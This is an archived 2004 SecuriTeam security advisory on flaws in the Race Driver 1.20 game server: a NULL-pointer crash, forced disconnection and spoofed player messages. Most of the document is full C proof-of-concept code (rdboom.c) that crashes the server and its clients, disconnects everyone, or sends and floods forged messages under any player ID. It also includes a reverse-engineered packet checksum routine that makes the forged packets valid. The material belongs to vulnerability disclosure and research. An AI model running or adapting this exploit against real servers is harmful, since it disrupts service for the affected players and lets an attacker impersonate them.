[NT] Race Driver Security Issues and DoS
From: SecuriTeam (support_at_securiteam.com)
Date: 06/14/04
- Previous message: SecuriTeam: "[UNIX] Aspell 'word-list-compress' Stack Overflow Vulnerability"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 14 Jun 2004 13:00:15 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Race Driver Security Issues and DoS
------------------------------------------------------------------------
SUMMARY
Race Driver is a great and funny driving game developed by Codemasters and
released in March 2003. Actually this game is no longer supported due to
the release of Race Driver 2 in April 2004. The product has been found to
contain multiple security issues and a denial of service vulnerability.
DETAILS
Vulnerable Systems:
* Race Driver version 1.20
Note: An attacker has to have access to the server for some of these
attacks to work properly. Following are descriptions of the security
issues found:
Multi-crash
If a server receives a message packet with a length identifier of 0 it
will crash immediately after accessing a NULL pointer. All the attached
clients will crash as well.
Server disconnection
A malformed packet can stop the remote match in a couple of seconds. An
example is presented in the proof-of-concept section added below.
Spoofed messages
The communication protocol used by the game permits sending of messages to
the server without enforcing that the sending party is really in the match
and with the other players in the server as their sources. In fact each
player is identified by an ID (for example the admin as ever ID 0) and
this value can be customized in the message packet.
No validation is performed of the message ID and this gives rise to the
vulnerability.
Proof-of-Concept example code
rdboom.c:
/*
by Luigi Auriemma - http://aluigi.altervista.org/poc/rdboom.zip
This source is covered by GNU/GPL
UNIX & WIN VERSION
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include "rdcksum.h"
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#define ONESEC 1
#endif
#define VER "0.1"
#define BUFFSZ 2048
#define PORT 10200
#define TIMEOUT 4
#define SIGN "\x05\x02\x00\x00"
#define NICK "Fake_player"
#define MSGHDR "\x42\x00\x00" \
"\x14" \
"\x00\xFF" \
"\x00" \
"\x00\x00\x00\x00"
#define SNDRCV(x,y) \
if(sendto(sd, x, y, 0, (struct sockaddr *)&peer, plen) \
< 0) std_err(); \
if(timeout(sd) < 0) { \
fputs("\n" \
"Error: socket timeout, probably the server is not online, it is not a
Race\n" \
" Driver 1 game or more probably it uses a version different by that\n"
\
" specified by you.\n" \
" Try to use a different version option (-v)\n", stdout); \
close(sd); \
exit(1); \
} \
if(recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &plen) \
< 0) std_err(); \
fputc('.', stdout);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
port = PORT,
i,
msglen,
plen;
u_char *buff,
rd1[] =
"\x45"
"\x00\x00" /* checksum */
"\x00\x00\x00\x00" /* source IP */
"\xff\xff\x00\x00" /* pck ID */
SIGN, /* Race Driver sign */
rd2[] =
"\xC8\x00\x00\x00\x00"
SIGN
"\x00\xA0\x0F\x00\x00\xA0\x0F"
"\x00\x00\x0B\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00" /* password */
"\x00\x00\x00\x00\x00\x00\x00\x00",
rd3[] =
"\x50\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00",
crash[] =
"\x42\x00\x00"
"\x14" /* event = message */
"\x00\xFF\x00"
"\x00\x00\x00\x00", /* length of the message, 0 = crash */
disc1[] =
"\xD7\x00\x00\x00\x00\x01\x00\x00"
"\x17\xFE\xFE"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00",
disc2[] =
"\x42\x00\x00"
"\x05" /* event = leave race */
"\x00\xFF\x00",
*msg = 0,
attack = 0,
id = 0,
version = 10;
setbuf(stdout, NULL);
fputs("\n"
"Toca Race Driver 1 multiple DoS "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\nUsage: %s [options] <attack> <server>\n"
"\n"
"Options:\n"
"-p PORT destination port (default %d)\n"
"-v NUM version of the game to attack:\n"
" 10 = version 1.20 (latest retail patch, DEFAULT)\n"
" 11 = version 1.1 (both demo and first retail)\n"
" other = customizable version, for possible future patches\n"
"\n"
"Attack options (needed):\n"
"-m ID MSG fake message, the server receives a message from a specific
user\n"
" identified by ID. The administrator has ever ID 0\n"
" Instead MSG is the message you wanna send, example: -m 0 \"I
suck\"\n"
" The messages are completely anonymous, you will not compare in the\n"
" players list and the server can launch the race without problems\n"
"-f ID MSG as above but floods the server with the same message each
second.\n"
" The flooding continues also during the race!\n"
"-c crashs the remote server and all the attached clients using a\n"
" message of length 0\n"
"-d Disconnects everyone in the server, admin too\n"
"\n"
"Remember you must have access to the server for using these attacks,
so if the\n"
"server is protected by password you must know it\n"
"The attacks -c and -d work versus servers <= 1.20, actually doesn't
exist a\n"
"patch for the game\n"
"\n", argv[0],
PORT);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
argc--;
for(i = 1; i < argc; i++) {
switch(argv[i][1]) {
case 'p': port = atoi(argv[++i]); break;
case 'v': version = atoi(argv[++i]); break;
case 'm': attack = -1; // little trick for -m/-f
case 'f': {
attack += 2;
id = atoi(argv[++i]);
msglen = strlen(argv[++i]);
msg = malloc(msglen + sizeof(MSGHDR) - 1);
if(!msg) std_err();
memcpy(msg, MSGHDR, sizeof(MSGHDR) - 1);
msg[6] = id;
memcpy(msg + sizeof(MSGHDR) - 5, &msglen, 4);
memcpy(msg + sizeof(MSGHDR) - 1, argv[i], msglen);
msglen += sizeof(MSGHDR) - 1;
rdcksum(msg, msglen);
} break;
case 'c': {
attack = 3;
rdcksum(crash, sizeof(crash) - 1);
} break;
case 'd': {
attack = 4;
rdcksum(disc1, sizeof(disc1) - 1);
rdcksum(disc2, sizeof(disc2) - 1);
} break;
default: {
printf("\nError: wrong command-line parameter (%s)\n", argv[i]);
exit(1);
}
}
}
if(!attack) {
fputs("\nError: you must choose an attack! Recheck the available
options\n", stdout);
exit(1);
}
peer.sin_addr.s_addr = resolv(argv[argc]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
plen = sizeof(peer);
printf("\n"
"Target: %s:%hu\n"
"Chosen version: %d\n"
"\n",
inet_ntoa(peer.sin_addr), port,
version);
rd1[13] = version;
rdcksum(rd1, sizeof(rd1) - 1);
rd2[7] = version;
rdcksum(rd2, sizeof(rd2) - 1);
rdcksum(rd3, sizeof(rd3) - 1);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
buff = malloc(BUFFSZ);
if(!buff) std_err();
SNDRCV(rd1, sizeof(rd1) - 1);
printf("\n"
"Servername: %s\n"
"Players: %d/%d\n",
buff + 17,
buff[41], buff[37]);
// password
if(buff[33]) {
fputs("Server requires password, insert it:\n", stdout);
fflush(stdin);
fgets(rd2 + 21, 16, stdin);
rd2[17] = strlen(rd2 + 21) - 1; // last byte is 0x0a
}
SNDRCV(rd2, sizeof(rd2) - 1);
if(*buff == 8) {
switch(buff[7]) {
case 2: fputs(
"race race in progress, impossible to continue the attack\n", stdout);
break;
case 3: fputs(
"full the server is full, impossible to continue the attack\n",
stdout); break;
default: {
fputs("\nError: Unknown error, probably your password is wrong or you
are testing a server that doesn't support this protocol\n", stdout);
} break;
}
// seems that sometimes I get a "server full" error also if the server is
not full.
// Remove these comments to enable the classical errors management
// close(sd);
// exit(1);
}
if(sendto(sd, rd3, sizeof(rd3) - 1, 0, (struct sockaddr *)&peer,
sizeof(peer))
< 0) std_err();
fputc('.', stdout);
switch(attack) {
case 1: {
printf("\nSpoofed message from ID %d:\n", id);
SNDRCV(msg, msglen);
} break;
case 2: {
printf("\nSpoofed messages flooding from ID %d:\n", id);
while(1) {
SNDRCV(msg, msglen);
sleep(ONESEC);
}
} break;
case 3: {
fputs("\nCrash attack:\n", stdout);
SNDRCV(crash, sizeof(crash) - 1);
if(sendto(sd, rd1, sizeof(rd1) - 1, 0, (struct sockaddr *)&peer, plen)
< 0) std_err();
fputs("- BOOM packet sent, now I check if the server is down\n",
stdout);
if(timeout(sd) < 0) {
fputs("\nThe server IS vulnerable!!!\n", stdout);
} else {
fputs("\nThe server doesn't seem vulnerable\n", stdout);
}
} break;
case 4: {
fputs("\nDisconnection attack:\n", stdout);
SNDRCV(disc1, sizeof(disc1) - 1);
SNDRCV(disc2, sizeof(disc2) - 1);
} break;
}
close(sd);
fputc('\n', stdout);
return(0);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
rdcksum.h:
/*
Race Driver packets checksum 0.3
by Luigi Auriemma
e-mail: aluigi@altervista.org
web: http://aluigi.altervista.org
INTRODUCTION
-===========
Finally this algorithm is opensource...
It is a modified MD5 algorithm used to calculate the 16bit checksum
placed at offset 1 of any UDP packet of the games Race Driver (both 1
and 2) developed by Codemasters and possibly also other games that use
the same checksum.
First of all a big thanx goes to REC, the Reverse Engineering Compiler
(http://www.backerstreet.com/rec/rec.htm) because I have used it to
create all the functions you see here and then I have modified them a
bit to work... this tool has saved a lot of my time.
In fact understanding the modifications between the original MD5
algorithm and that used in Race Driver is really hard so this has been
the only fast solution I have found.
In the past I used the dumped binary code of the algorithm but it
caused a lot of problems because parts of the memory were overwritten
after the calling of the function so you got a crash or some variables
were modified and then it ran only on Win32.
Now there are no problems!
The only limit seems to be the portability of the code because seems to
give a different result on my Ibook (PPC cpu).
USAGE
-====
#include "rdcksum.h"
u_char pck[] = "mypacket";
rdcksum(pck, sizeof(pck) - 1);
The checksum is automatically applied to the packet (exactly where is
"yp") and is also returned by the function.
You don't need to set the checksum of the packet to zero because the
function does it automatically before calculating the checksum.
LICENSE
-======
This source is covered by GNU/GPL
UNIX & WIN VERSION
*/
#include <string.h>
#ifdef WIN32
typedef unsigned char u_char;
typedef unsigned short u_short;
typedef unsigned long u_long;
#endif
typedef struct md5_state_s {
u_long count[2];
u_long abcd[4];
u_char buf[64];
} md5_state_t;
void L00401BDC(
u_long *A8,
u_long Ac,
u_long A10,
u_long A14,
u_long esp1c,
u_long esp20,
u_long A20) {
u_long eax;
eax = ((~A14 | Ac) ^ A10) + esp1c;
eax = *A8 + eax + A20;
*A8 = ((eax >> (32 - esp20)) | (eax << esp20)) + Ac;
}
void L0040129C(md5_state_t *pms, u_long *esi) {
u_long ecx,
edx,
ebp,
eax,
ebx,
esp1c,
esp20,
esp10,
esp14;
ecx = esi[0];
edx = pms->abcd[1];
ebp = pms->abcd[2];
eax = pms->abcd[3];
ebx = ~edx & eax;
ecx = (ebx | (ebp & edx)) + pms->abcd[0] + ecx + 0xD76AA478;
eax = ecx;
ecx = ecx << 7;
ebx = edx;
eax = (eax >> 25 | ecx) + edx;
ebx = ebx & eax;
ecx = ((~eax & ebp) | ebx) + esi[1];
ebx = pms->abcd[3] + ecx + -389564586;
ecx = ebx;
ebx = ebx << 12;
ecx = (ecx >> 20 | ebx) + eax;
ebx = ~ecx & edx;
edx = (ebx | (ecx & eax)) + esi[2] + ebp + 606105819;
ebx = edx;
edx = edx << 17;
ebx = (ebx >> 15 | edx) + ecx;
edx = ~ebx & eax;
edx = (edx | (ecx & ebx)) + esi[3];
ebp = edx + pms->abcd[1] + -1044525330;
edx = ebp;
ebp = ebp >> 10;
edx = (edx << 22 | ebp) + ebx;
esp20 = ebx;
ebp = ~edx;
ebx = ebx & edx;
eax = eax + ((ebp & ecx) | ebx) + esi[4] + -176418897;
ebx = eax >> 25;
ebx = (ebx | eax << 7) + edx;
esp1c = ebx;
eax = esi[5];
ebx = ~ebx & esp20;
ecx = ecx + (ebx | (edx & esp1c)) + eax + 1200080426;
ebp = esp1c;
eax = ecx;
ecx = ecx << 12;
eax = (eax >> 20 | ecx) + ebp;
ecx = ~eax & edx;
ecx = (ecx | (eax & ebp)) + esi[6];
ebx = esp20 + ecx + -1473231341;
ecx = ebx;
ebx = ebx << 17;
ecx = (ecx >> 15 | ebx) + eax;
ebx = ~ecx & ebp;
edx = edx + (ebx | (eax & ecx)) + esi[7] + -45705983;
ebx = edx;
edx = edx >> 10;
ebx = (ebx << 22 | edx) + ecx;
edx = ~ebx & eax;
edx = (edx | (ecx & ebx)) + esi[8];
ebp = edx + esp1c + 1770035416;
edx = ebp;
ebp = ebp << 7;
edx = (edx >> 25 | ebp) + ebx;
esp10 = ebx;
ebx = ebx & edx;
eax = eax + ((~edx & ecx) | ebx) + esi[9] + -1958414417;
ebx = eax;
eax = eax << 12;
ebx = (ebx >> 20 | eax) + edx;
eax = ~ebx & esp10;
ecx = ecx + (eax | (ebx & edx)) + esi[10] + -42063;
ebp = ecx;
ecx = ecx << 17;
ebp = (ebp >> 15 | ecx) + ebx;
eax = ebx & ebp;
ecx = ((~ebp & edx) | eax) + esi[11];
ecx = esp10 + ecx + -1990404162;
eax = ecx;
ecx = ecx >> 10;
eax = (eax << 22 | ecx) + ebp;
esp20 = ebp;
ebp = ebp & eax;
ecx = ((~eax & ebx) | ebp) + esi[12];
edx = edx + ecx + 1804603682;
ecx = edx;
edx = edx << 7;
ecx = ecx >> 25 | edx;
edx = esi[13];
ecx = ecx + eax;
esp1c = ecx;
ecx = (~esp1c & esp20) | (eax & esp1c);
ebp = esp1c;
ebx = ebx + ecx + edx + -40341101;
ecx = ebx;
ebx = ebx << 12;
ecx = (ecx >> 20 | ebx) + ebp;
edx = ~ecx;
esp14 = edx;
edx = esp14 & eax;
edx = (edx | (ecx & ebp)) + esi[14];
ebx = esp20 + edx + -1502002290;
edx = ebx;
ebx = ebx << 17;
edx = (edx >> 15 | ebx) + ecx;
ebx = ~edx;
esp20 = ebx;
ebx = esp20 & ebp;
eax = eax + (ebx | (ecx & edx)) + esi[15] + 1236535329;
ebx = eax;
eax = eax >> 10;
ebp = ecx;
ebx = ebx << 22 | eax;
eax = esp14 & edx;
ebx = ebx + edx;
eax = (eax | (ebp & ebx)) + esi[1];
ebp = eax + esp1c + -165796510;
eax = ebp;
ebp = ebp << 5;
eax = eax >> 27 | ebp;
esp20 = esp20 & ebx;
eax = eax + ebx;
ebp = edx & eax;
esp1c = eax;
ecx = ecx + (esp20 | ebp) + esi[6] + -1069501632;
eax = ecx;
ecx = ecx << 9;
eax = eax >> 23 | ecx;
ecx = esp1c;
eax = eax + ecx;
ebp = ~ebx & ecx;
edx = edx + (ebp | (eax & ebx)) + esi[11] + 643717713;
ecx = edx;
edx = edx << 14;
ecx = ecx >> 18 | edx;
edx = esp1c;
ebp = edx;
ecx = ecx + eax;
ebp = ~ebp & eax;
esp20 = ecx;
ebx = ebx + (ebp | (ecx & edx)) + esi[0] + -373897302;
ecx = ebx << 20;
ecx = ecx | ebx >> 12;
ebx = esp20;
edx = ~eax & ebx;
ecx = ecx + ebx;
edx = (edx | (eax & ecx)) + esi[5];
ebp = edx + esp1c + -701558691;
edx = ebp >> 27;
esp1c = (edx | ebp << 5) + ecx;
edx = ebx;
ebp = ebx & esp1c;
eax = eax + ((~edx & ecx) | ebp) + esi[10] + 38016083;
edx = eax;
eax = eax << 9;
ebp = ~ecx;
edx = edx >> 23 | eax;
eax = esp1c;
ebp = ebp & eax;
edx = edx + eax;
ebx = ebx + (ebp | (edx & ecx)) + esi[15] + -660478335;
eax = ebx;
ebx = ebx << 14;
eax = eax >> 18 | ebx;
eax = eax + edx;
ebx = ~esp1c & edx;
ecx = ecx + (ebx | (eax & esp1c)) + esi[4] + -405537848;
ebx = ecx;
ecx = ecx >> 12;
ebx = (ebx << 20 | ecx) + eax;
ecx = edx;
ebp = edx & ebx;
ecx = ((~ecx & eax) | ebp) + esi[9];
ebp = ecx + esp1c + 568446438;
ecx = ebp;
ebp = ebp << 5;
esp10 = ebx;
ecx = (ecx >> 27 | ebp) + ebx;
ebp = ~eax & ebx;
edx = edx + (ebp | (eax & ecx)) + esi[14] + -1019803690;
ebx = edx;
edx = edx << 9;
ebx = ebx >> 23 | edx;
ebx = ebx + ecx;
ebp = ebx & esp10;
eax = eax + ((~esp10 & ecx) | ebp) + esi[3] + -187363961;
edx = eax >> 18;
edx = (edx | eax << 14) + ebx;
eax = ecx;
ebp = edx & ecx;
eax = ((~eax & ebx) | ebp) + esi[8];
ebp = eax + esp10 + 1163531501;
eax = ebp;
ebp = ebp >> 12;
esp20 = edx;
eax = eax << 20 | ebp;
ebp = ebx;
eax = eax + edx;
ebp = ~ebp & edx;
ecx = ecx + (ebp | (ebx & eax)) + esi[13] + -1444681467;
edx = ecx;
ecx = ecx << 5;
esp1c = (edx >> 27 | ecx) + eax;
edx = esp20;
ecx = ~edx & eax;
ebx = ebx + (ecx | (edx & esp1c)) + esi[2] + -51403784;
ecx = ebx;
ebx = ebx << 9;
ecx = ecx >> 23 | ebx;
ebx = esp1c;
ecx = ecx + ebx;
ebp = ~eax & ebx;
ebx = edx + (ebp | (ecx & eax)) + esi[7] + 1735328473;
edx = ebx;
ebx = ebx << 14;
edx = edx >> 18 | ebx;
edx = edx + ecx;
ebx = ~esp1c & ecx;
eax = eax + (ebx | (edx & esp1c)) + esi[12] + -1926607734;
ebx = eax << 20;
ebx = (ebx | eax >> 12) + edx;
ebp = esi[5];
eax = (ecx ^ edx ^ ebx) + ebp;
ebp = eax + esp1c + -378558;
eax = ebp;
ebp = ebp << 4;
eax = (eax >> 28 | ebp) + ebx;
ecx = ecx + (edx ^ ebx ^ eax) + esi[8] + -2022574463;
ebp = ecx;
ecx = ecx << 11;
ebp = (ebp >> 21 | ecx) + eax;
ecx = edx + (ebp ^ ebx ^ eax) + esi[11] + 1839030562;
edx = ecx;
ecx = ecx << 16;
edx = (edx >> 16 | ecx) + ebp;
ecx = ebp ^ edx;
esp1c = ecx;
ebx = ebx + (esp1c ^ eax) + esi[14] + -35309556;
ecx = ebx;
ebx = ebx >> 9;
ecx = ecx << 23 | ebx;
ecx = ecx + edx;
ebx = eax + (esp1c ^ ecx) + esi[1] + -1530992060;
eax = ebx;
ebx = ebx << 4;
eax = eax >> 28 | ebx;
ebx = edx ^ ecx;
eax = eax + ecx;
ebp = (ebx ^ eax) + esi[4] + ebp + 1272893353;
ebx = ebp;
ebp = ebp << 11;
ebx = (ebx >> 21 | ebp) + eax;
edx = edx + (ebx ^ ecx ^ eax) + esi[7] + -155497632;
ebp = edx;
edx = edx << 16;
ebp = (ebp >> 16 | edx) + ebx;
edx = ebx ^ ebp;
esp1c = edx;
edx = ecx + (esp1c ^ eax) + esi[10] + -1094730640;
ecx = edx << 23;
ecx = (ecx | edx >> 9) + ebp;
edx = eax + (esp1c ^ ecx) + esi[13] + 681279174;
eax = edx;
edx = edx << 4;
eax = eax >> 28 | edx;
edx = ebp ^ ecx;
eax = eax + ecx;
ebx = ebx + (edx ^ eax) + esi[0] + -358537222;
edx = ebx;
ebx = ebx << 11;
edx = (edx >> 21 | ebx) + eax;
ebp = (edx ^ ecx ^ eax) + esi[3] + ebp + -722521979;
ebx = ebp;
ebp = ebp << 16;
ebx = (ebx >> 16 | ebp) + edx;
ebp = edx ^ ebx;
esp1c = ebp;
ebp = ecx + (esp1c ^ eax) + esi[6] + 76029189;
ecx = ebp;
ebp = ebp >> 9;
ecx = ecx << 23 | ebp;
ecx = ecx + ebx;
ebp = eax + (esp1c ^ ecx) + esi[9] + -640364487;
eax = ebp;
ebp = ebp << 4;
eax = (eax >> 28 | ebp) + ecx;
ebp = edx + (ebx ^ ecx ^ eax) + esi[12] + -421815835;
edx = ebp;
ebp = ebp << 11;
edx = (edx >> 21 | ebp) + eax;
ebp = ebx + (edx ^ ecx ^ eax) + esi[15] + 530742520;
ebx = ebp;
ebp = ebp << 16;
ebx = (ebx >> 16 | ebp) + edx;
ecx = ecx + (edx ^ ebx ^ eax) + esi[2] + -995338651;
ebp = ecx << 23;
ebp = (ebp | ecx >> 9) + ebx;
ecx = eax + (( ~edx | ebp) ^ ebx) + esi[0] + -198630844;
eax = ecx >> 26;
eax = (eax | ecx << 6) + ebp;
esp1c = eax;
edx = edx + (( ~ebx | eax) ^ ebp) + esi[7] + 1126891415;
ecx = edx;
edx = edx << 10;
ecx = (ecx >> 22 | edx) + eax;
edx = (( ~ebp | ecx) ^ eax) + esi[14];
eax = ~eax;
ebx = ebx + edx + -1416354905;
edx = ebx;
ebx = ebx << 15;
edx = edx >> 17 | ebx;
ebx = esi[5];
edx = edx + ecx;
eax = ((eax | edx) ^ ecx) + ebx + ebp + -57434055;
ebx = eax;
eax = eax >> 11;
ebx = ebx << 21 | eax;
ebx = ebx + edx;
esp14 = ecx;
esp20 = edx;
esp10 = ebx;
L00401BDC(&esp1c, ebx, edx, ecx, esi[12], 6, 1700485571);
L00401BDC(&esp14, esp1c, esp10, esp20, esi[3], 10, -1894986606);
L00401BDC(&esp20, esp14, esp1c, esp10, esi[10], 15, -1051523);
L00401BDC(&esp10, esp20, esp14, esp1c, esi[1], 21, -2054922799);
L00401BDC(&esp1c, esp10, esp20, esp14, esi[8], 6, 1873313359);
L00401BDC(&esp14, esp1c, esp10, esp20, esi[15], 10, -30611744);
L00401BDC(&esp20, esp14, esp1c, esp10, esi[6], 15, -1560198380);
L00401BDC(&esp10, esp20, esp14, esp1c, esi[13], 21, 1309151649);
L00401BDC(&esp1c, esp10, esp20, esp14, esi[4], 6, -145523070);
L00401BDC(&esp14, esp1c, esp10, esp20, esi[11], 10, -1120210379);
L00401BDC(&esp20, esp14, esp1c, esp10, esi[2], 15, 718787259);
L00401BDC(&esp10, esp20, esp14, esp1c, esi[9], 21, -343485551);
pms->abcd[2] += esp20;
pms->abcd[0] += esp1c;
pms->abcd[1] += esp10;
pms->abcd[3] += esp14;
}
void L00401C7C(md5_state_t *A4, u_char *A8, u_long Ac) {
u_long eax,
esi,
edi,
ebp;
eax = (A4->count[0] >> 3) & 63;
A4->count[0] += (Ac << 3);
if(A4->count[0] < (Ac << 3)) A4->count[1]++;
A4->count[1] += (Ac >> 29);
ebp = 64 - eax;
if(Ac >= ebp) {
memcpy(A4->buf + eax, A8, ebp);
L0040129C(A4, (u_long *)A4->buf);
esi = ebp + 63;
edi = ebp;
while(esi < Ac) {
L0040129C(A4, (u_long *)(A8 + esi - 63));
esi += 64;
edi += 64;
}
eax = 0;
} else {
edi = 0;
}
memcpy(A4->buf + eax, A8 + edi, Ac - edi);
}
/* Race Driver main function */
u_short rdcksum(u_char *data, u_long size) {
md5_state_t md5t;
u_short crc;
u_long tmp;
static u_char pad[] =
"\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
*(u_short *)(data + 1) = 0x0000; // initialization
md5t.count[0] = md5t.count[1] = 0;
md5t.abcd[0] = 0x67452301;
md5t.abcd[1] = 0xefcdab89;
md5t.abcd[2] = 0x98badcfe;
md5t.abcd[3] = 0x10325476;
L00401C7C(&md5t, data, size);
tmp = (md5t.count[0] >> 3) & 0x3f;
if(tmp >= 56) tmp = 120 - tmp;
else tmp = 56 - tmp;
L00401C7C(&md5t, pad, tmp);
L00401C7C(&md5t, (u_char *)&md5t.count[0], 8);
crc = md5t.abcd[0] + md5t.abcd[1] + md5t.abcd[2] + md5t.abcd[3];
*(u_short *)(data + 1) = crc; // checksum
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:aluigi@altervista.org> Luigi
Auriemma.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[UNIX] Aspell 'word-list-compress' Stack Overflow Vulnerability"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|